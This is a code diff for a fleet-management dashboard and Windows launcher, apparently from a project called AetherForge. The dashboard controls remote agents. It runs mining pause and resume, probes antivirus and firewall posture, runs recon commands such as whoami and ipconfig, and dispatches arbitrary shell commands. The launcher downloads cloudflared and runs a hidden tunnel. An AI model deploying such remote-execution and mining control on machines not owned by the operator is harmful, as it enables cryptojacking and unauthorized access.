for (const cmd of cmds) { for (const cmd of cmds) {
@@ -536,7 +547,7 @@ export default function CruciblePage() {
{ {
id: mkId(), agentId: a.id, agentName: a.name, isCmd: false, id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
text: `[ERROR] ${cmd}: ${err instanceof Error ? err.message : String(err)}`, text: `[ERROR] ${cmd}: ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(), success: false, ts: new Date(), success: false, targeted: selectedIds.has(a.id) || selectedIds.size === 0,
}, },
]); ]);
}); });
@@ -544,6 +555,9 @@ export default function CruciblePage() {
} }
}; };
// Focused agent — when exactly one is selected show its details prominently.
const focusedAgent = selectedAgents.length === 1 ? selectedAgents[0] : null;
const handleKey = (e: React.KeyboardEvent<HTMLInputElement>) => { const handleKey = (e: React.KeyboardEvent<HTMLInputElement>) => {
if (e.key === 'Enter') { sendCmd(); return; } if (e.key === 'Enter') { sendCmd(); return; }
if (e.key === 'ArrowUp') { if (e.key === 'ArrowUp') {
@@ -773,6 +787,7 @@ export default function CruciblePage() {
<div className="cn-stats"> <div className="cn-stats">
<span>{a.cpu_cores}c</span> <span>{a.cpu_cores}c</span>
<span>{formatHashrate(a.hashrate_15m)}</span> <span>{formatHashrate(a.hashrate_15m)}</span>
<LatencyBadge ms={isOn ? a.latency_ms : undefined} compact />
</div> </div>
<div className="cn-badges"> <div className="cn-badges">
<div className={`cn-ssh ${ssh.cls}`}>{ssh.label}</div> <div className={`cn-ssh ${ssh.cls}`}>{ssh.label}</div>
@@ -866,6 +881,40 @@ export default function CruciblePage() {
)} )}
</NeonCard> </NeonCard>
{/* ── Focused machine banner ──────────────────────────────────────── */}
{focusedAgent && (
<div className="crucible-focus-bar" style={{
display: 'flex', alignItems: 'center', gap: '1.5rem', flexWrap: 'wrap',
background: 'rgba(0,245,255,0.06)', border: '1px solid rgba(0,245,255,0.25)',
borderRadius: '8px', padding: '0.65rem 1rem', marginBottom: '1rem',
fontSize: '0.85rem',
}}>
<span style={{ color: 'var(--neon-cyan)', fontFamily: 'monospace', fontWeight: 700, fontSize: '0.75rem', letterSpacing: '0.1em' }}>
ACTIVE TARGET
</span>
<span style={{ fontFamily: 'monospace', color: agentColor(focusedAgent.id, allIds), fontWeight: 600 }}>
{platformIcon(focusedAgent.platform)} {focusedAgent.name}
</span>
<span style={{ color: 'var(--text-muted)' }}>{focusedAgent.ip || '—'}</span>
<span className={`status-badge ${focusedAgent.status}`}>{focusedAgent.status}</span>
<LatencyBadge ms={focusedAgent.status === 'online' ? focusedAgent.latency_ms : undefined} />
<span style={{ color: 'var(--text-muted)' }}>{focusedAgent.platform ?? ''} {focusedAgent.arch ?? ''}</span>
<span style={{ color: 'var(--text-muted)' }}>{focusedAgent.cpu_cores}c · {focusedAgent.memory_gb}GB</span>
{focusedAgent.status !== 'online' && (
<span style={{ color: '#ff6666', fontFamily: 'monospace', fontSize: '0.8rem' }}>
offline commands will fail until it reconnects
</span>
)}
<button
className="button crucible-btn-muted"
style={{ marginLeft: 'auto', fontSize: '0.75rem', padding: '0.2rem 0.6rem' }}
onClick={() => setSelectedIds(new Set())}
>
Deselect
</button>
</div>
)}
{/* ── Groups & Actions ────────────────────────────────────────────── */} {/* ── Groups & Actions ────────────────────────────────────────────── */}
<div className="crucible-row"> <div className="crucible-row">
<NeonCard accent="purple" className="crucible-groups-card" tilt3d={false}> <NeonCard accent="purple" className="crucible-groups-card" tilt3d={false}>
@@ -903,36 +952,40 @@ export default function CruciblePage() {
<NeonCard accent="amber" className="crucible-actions-card" tilt3d={false}> <NeonCard accent="amber" className="crucible-actions-card" tilt3d={false}>
<div className="crucible-section-title font-tech"> <div className="crucible-section-title font-tech">
<span className="section-ornament"></span> OPERATIONS <span className="section-ornament"></span> OPERATIONS
{selectedIds.size > 0 && (
<span style={{ marginLeft: '0.75rem', color: 'var(--neon-cyan)', fontSize: '0.75rem', fontWeight: 400 }}>
{selectedIds.size === 1 ? selectedAgents[0]?.name ?? '1 node' : `${selectedIds.size} nodes`}
</span>
)}
</div> </div>
<div className="crucible-ops"> <div className="crucible-ops">
{/* ── Posture ──────────────────────────────────── */}
<div className="crucible-op-group"> <div className="crucible-op-group">
<span className="cop-label">Posture</span> <span className="cop-label">Posture &amp; Recon</span>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
onClick={() => probePosture()}
title="Probe posture (AV, firewall, SSH, patch) on selected nodes"
>
Probe Posture
</button>
<button
className="button crucible-op-btn crucible-op-wake"
disabled={agents.filter(online).length === 0}
onClick={() => probePosture(agents.filter(online))}
title="Probe ALL online nodes at once"
>
Fleet Posture Scan
</button>
<button <button
className="button crucible-op-btn crucible-op-scan" className="button crucible-op-btn crucible-op-scan"
disabled={selectedIds.size === 0} disabled={selectedIds.size === 0 && agents.filter(online).length === 0}
onClick={() => scanSelected()} onClick={() => scanSelected()}
title="Fire posture + listen_ports + patch_status in parallel on selected nodes" title={selectedIds.size > 0
? `Deep scan ${selectedIds.size} selected node(s): posture + ports + patch`
: 'Deep scan ALL online nodes: posture + ports + patch'}
> >
Scan All Selected {selectedIds.size > 0
? `⬡ Deep Scan (${selectedIds.size} selected)`
: `⬡ Deep Scan Fleet (${agents.filter(online).length} online)`}
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0 && agents.filter(online).length === 0}
onClick={() => probePosture(selectedIds.size > 0 ? selectedAgents.filter(online) : agents.filter(online))}
title="Posture only (AV, firewall, SSH state)"
>
Posture Only
</button> </button>
</div> </div>
{/* ── SSH ──────────────────────────────────────── */}
<div className="crucible-op-group"> <div className="crucible-op-group">
<span className="cop-label">SSH</span> <span className="cop-label">SSH</span>
<button <button
@@ -953,6 +1006,7 @@ export default function CruciblePage() {
</button> </button>
</div> </div>
{/* ── Mining ───────────────────────────────────── */}
<div className="crucible-op-group"> <div className="crucible-op-group">
<span className="cop-label">Mining</span> <span className="cop-label">Mining</span>
<button <button
@@ -960,44 +1014,36 @@ export default function CruciblePage() {
disabled={selectedIds.size === 0} disabled={selectedIds.size === 0}
onClick={() => Promise.all(selectedAgents.filter(online).map((a) => api.sendAgentCommand(a.id, 'resume')))} onClick={() => Promise.all(selectedAgents.filter(online).map((a) => api.sendAgentCommand(a.id, 'resume')))}
> >
Resume All Resume
</button> </button>
<button <button
className="button crucible-op-btn" className="button crucible-op-btn"
disabled={selectedIds.size === 0} disabled={selectedIds.size === 0}
onClick={() => Promise.all(selectedAgents.filter(online).map((a) => api.sendAgentCommand(a.id, 'pause')))} onClick={() => Promise.all(selectedAgents.filter(online).map((a) => api.sendAgentCommand(a.id, 'pause')))}
> >
Pause All Pause
</button> </button>
</div>
<div className="crucible-op-group">
<span className="cop-label">Recon</span>
<button <button
className="button crucible-op-btn" className="button crucible-op-btn"
disabled={selectedIds.size === 0} disabled={selectedIds.size === 0}
onClick={() => dispatch('whoami', shellType)} onClick={() => dispatch('whoami', shellType)}
title="Run whoami on selected"
> >
whoami whoami
</button> </button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
onClick={() => dispatch(shellType === 'powershell' ? 'Get-ComputerInfo | Select CsName,WindowsVersion,OsArchitecture' : 'uname -a', shellType)}
>
sysinfo
</button>
<button <button
className="button crucible-op-btn" className="button crucible-op-btn"
disabled={selectedIds.size === 0} disabled={selectedIds.size === 0}
onClick={() => dispatch(shellType === 'powershell' ? 'ipconfig /all' : 'ip addr', shellType)} onClick={() => dispatch(shellType === 'powershell' ? 'ipconfig /all' : 'ip addr', shellType)}
title="Network adapter info"
> >
ipconfig ipconfig
</button> </button>
</div> </div>
{/* ── Shell type ───────────────────────────────── */}
<div className="crucible-op-group"> <div className="crucible-op-group">
<span className="cop-label">Shell</span> <span className="cop-label">Shell Mode</span>
<div className="crucible-shell-tabs"> <div className="crucible-shell-tabs">
{(['powershell', 'exec', 'sh'] as ShellType[]).map((s) => ( {(['powershell', 'exec', 'sh'] as ShellType[]).map((s) => (
<button <button
@@ -1011,6 +1057,7 @@ export default function CruciblePage() {
</div> </div>
</div> </div>
{/* ── Selection chips ──────────────────────────── */}
{selectedIds.size > 0 && ( {selectedIds.size > 0 && (
<div className="crucible-sel-chips"> <div className="crucible-sel-chips">
{selectedAgents.map((a) => { {selectedAgents.map((a) => {
@@ -1057,10 +1104,12 @@ export default function CruciblePage() {
)} )}
{termLines.map((line) => { {termLines.map((line) => {
const color = agentColor(line.agentId, allIds); const color = agentColor(line.agentId, allIds);
const dim = line.targeted === false;
return ( return (
<div <div
key={line.id} key={line.id}
className={`crucible-term-line ${line.isCmd ? 'cmd-line' : 'out-line'} ${line.success === false ? 'err-line' : ''} ${line.richData ? 'rich-line' : ''}`} className={`crucible-term-line ${line.isCmd ? 'cmd-line' : 'out-line'} ${line.success === false ? 'err-line' : ''} ${line.richData ? 'rich-line' : ''}`}
style={dim ? { opacity: 0.45 } : undefined}
> >
<span className="ctl-agent" style={{ color }}> <span className="ctl-agent" style={{ color }}>
{line.agentName.slice(0, 12).padEnd(12)} {line.agentName.slice(0, 12).padEnd(12)}

View File

@@ -67,6 +67,10 @@ export interface Agent {
reboot_pending?: boolean; reboot_pending?: boolean;
agent_elevated?: boolean; agent_elevated?: boolean;
services?: AgentService[]; services?: AgentService[];
hostname?: string;
// Live RTT from WebSocket ping/pong — undefined until first pong, null when offline.
latency_ms?: number;
} }
export interface AgentService { export interface AgentService {

View File

@@ -52,6 +52,7 @@ export interface WSStatsUpdate {
reboot_pending?: boolean; reboot_pending?: boolean;
agent_elevated?: boolean; agent_elevated?: boolean;
services?: AgentService[]; services?: AgentService[];
latency_ms?: number;
} }
export interface WSCommandResult { export interface WSCommandResult {

View File

@@ -106,7 +106,18 @@ if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints"
if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps" if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps"
:: ---------------------------------------------------------------- :: ----------------------------------------------------------------
:: 5. Detect LAN IP for display :: 5. Configure optional Cloudflare tunnel (foreground process, no service)
:: ----------------------------------------------------------------
set "CLOUDFLARED_BIN=%ROOT%\tools\cloudflared.exe"
set "CF_PID_FILE=%ROOT%\data\cloudflared.pid"
set "CF_TUNNEL_TOKEN="
if defined AF_TUNNEL_TOKEN set "CF_TUNNEL_TOKEN=%AF_TUNNEL_TOKEN%"
if not defined CF_TUNNEL_TOKEN if exist "%ROOT%\data\cloudflared-token.txt" (
set /p CF_TUNNEL_TOKEN=<"%ROOT%\data\cloudflared-token.txt"
)
:: ----------------------------------------------------------------
:: 6. Detect LAN IP for display
:: ---------------------------------------------------------------- :: ----------------------------------------------------------------
set "SERVER_PORT=8989" set "SERVER_PORT=8989"
for /f "tokens=2 delims=:" %%I in ('ipconfig ^| findstr /i "IPv4" ^| findstr /v "127.0.0.1"') do ( for /f "tokens=2 delims=:" %%I in ('ipconfig ^| findstr /i "IPv4" ^| findstr /v "127.0.0.1"') do (
@@ -118,9 +129,10 @@ set "LAN_IP=localhost"
set "LAN_IP=%LAN_IP: =%" set "LAN_IP=%LAN_IP: =%"
:: ---------------------------------------------------------------- :: ----------------------------------------------------------------
:: 6. Kill any stale server process :: 7. Kill any stale server and tunnel processes
:: ---------------------------------------------------------------- :: ----------------------------------------------------------------
taskkill /F /IM AetherForge.exe >nul 2>nul taskkill /F /IM AetherForge.exe >nul 2>nul
taskkill /F /IM cloudflared.exe >nul 2>nul
ping -n 2 127.0.0.1 >nul ping -n 2 127.0.0.1 >nul
echo. echo.
@@ -136,6 +148,30 @@ echo Press Ctrl+C to stop.
echo ================================================================ echo ================================================================
echo. echo.
:: Start optional Cloudflare tunnel for this launcher session only.
if defined CF_TUNNEL_TOKEN (
if not exist "%ROOT%\tools" mkdir "%ROOT%\tools"
if not exist "%CLOUDFLARED_BIN%" (
echo [Tunnel] Downloading cloudflared.exe...
powershell -NoProfile -ExecutionPolicy Bypass -Command "& { [Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe' -OutFile $env:CLOUDFLARED_BIN }"
)
if exist "%CLOUDFLARED_BIN%" (
del "%CF_PID_FILE%" 2>nul
echo [Tunnel] Starting Cloudflare tunnel for this session ^(no service install^).
powershell -NoProfile -ExecutionPolicy Bypass -Command "$p = Start-Process -FilePath $env:CLOUDFLARED_BIN -ArgumentList @('tunnel','--no-autoupdate','run','--token',$env:CF_TUNNEL_TOKEN) -WindowStyle Hidden -PassThru; Set-Content -LiteralPath $env:CF_PID_FILE -Value $p.Id"
if errorlevel 1 (
echo [Tunnel] WARNING: cloudflared failed to start.
) else (
echo [Tunnel] Tunnel process started. It will stop when this launcher exits.
)
) else (
echo [Tunnel] WARNING: cloudflared.exe unavailable; tunnel skipped.
)
) else (
echo [Tunnel] Disabled. Add token to data\cloudflared-token.txt or set AF_TUNNEL_TOKEN.
)
echo.
:: Open browser after short delay :: Open browser after short delay
start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'" start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'"
@@ -143,6 +179,13 @@ start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Second
"%ROOT%\AetherForge.exe" -port %SERVER_PORT% -data "%ROOT%\data" "%ROOT%\AetherForge.exe" -port %SERVER_PORT% -data "%ROOT%\data"
set "EC=!ERRORLEVEL!" set "EC=!ERRORLEVEL!"
if exist "%CF_PID_FILE%" (
for /f "usebackq" %%P in ("%CF_PID_FILE%") do (
powershell -NoProfile -ExecutionPolicy Bypass -Command "Stop-Process -Id %%P -Force -ErrorAction SilentlyContinue" >nul 2>nul
)
del "%CF_PID_FILE%" 2>nul
)
echo. echo.
if "!EC!"=="0" ( if "!EC!"=="0" (
echo [Server] Stopped normally. echo [Server] Stopped normally.